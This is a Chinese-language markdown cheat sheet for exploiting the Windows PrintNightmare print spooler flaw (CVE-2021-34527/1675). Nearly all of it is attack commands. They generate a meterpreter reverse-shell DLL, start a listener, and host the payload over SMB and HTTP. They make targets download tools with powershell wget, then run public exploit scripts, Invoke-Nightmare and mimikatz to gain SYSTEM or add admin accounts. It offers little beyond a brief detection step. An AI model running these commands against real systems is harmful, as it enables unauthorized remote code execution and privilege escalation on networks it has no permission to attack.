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PrintNightmare.md

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检查

Impacket - rpcdump
>python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
ItWasAllADream
>git clone https://github.com/byt3bl33d3r/ItWasAllADream
>cd ItWasAllADream && poetry install && poetry shell
>itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
>docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10

执行

PrintNightmare-CVE-2021-34527
攻击机执行
>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
检测是否存在领漏洞
>use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
>set RHOSTS 192.168.1.190
>set SMBUser ignite
>set SMBPass 123
>set DLL_PATH /
>exploit
监听
>use multi/handler
>set payload windows/x64/meterpreter/reverse_tcp
>set LHOST 192.168.1.2
>set LPORT 4444
>exploit
https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
托管dll
>python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
执行
./CVE-2021-34527.py ignite:[email protected] '\\192.168.1.2\share\evil.dll'
即可获得system
或使用powershell
https://github.com/calebstewart/CVE-2021-1675.git
>python3 -m http.server 80
靶机执行>powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
>powershell -ep bypass
>Import-Module .\cve.ps1
>Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
或使用mimikatz
MSF监听后
>python3 -m http.server 80
>powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
>misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
SharpNightmare
https://github.com/cube0x0/CVE-2021-1675
>python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
>python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
本地执行溢出
>SharpPrintNightmare.exe C:\addCube.dll
远程命令执行
>SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
>SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
Invoke-Nightmare
本地执行溢出
https://github.com/calebstewart/CVE-2021-1675
>Import-Module .\cve-2021-1675.ps1
>Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
>Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
>Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
Mimikatz v2.2.0-20210709+
本地执行溢出
>misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
远程命令执行
>misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50